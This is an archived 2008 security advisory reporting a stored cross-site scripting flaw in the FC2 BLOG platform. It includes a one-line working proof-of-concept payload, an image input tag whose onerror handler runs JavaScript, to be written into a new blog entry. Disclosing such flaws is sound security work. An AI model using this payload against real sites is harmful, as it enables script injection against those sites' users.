fc2blog-xss.txt

2008-10-09T00:00:00
ID PACKETSTORM:70738
Type packetstorm
Reporter xisigr
Modified 2008-10-09T00:00:00

Description

                                        
                                            `Subject: FC2 BLOG Cross-Site Scripting Vulnerabilities  
Application: FC2 BLOG  
Vendor:BLOG.FC2.COM  
Corporation: FC2, Inc.  
DATE : 9 Oct 2008  
Description: FC2 BLOG Cross-Site Scripting Vulnerabilities  
  
Vulnerability:  
==============  
They do not properly sanitize the potentially malicious input content  
to be rendered and, as a result, an attacker might provide malicious  
HTML content as part of A New Entry.  
  
Exploit:  
==============  
Write A New Entry in FC2 blog:  
<input type="image" src="x" onerror="javascript:alert(/XSP/)" />  
  
==============  
xisigr[topsec]  
xisigr@gmail.com  
`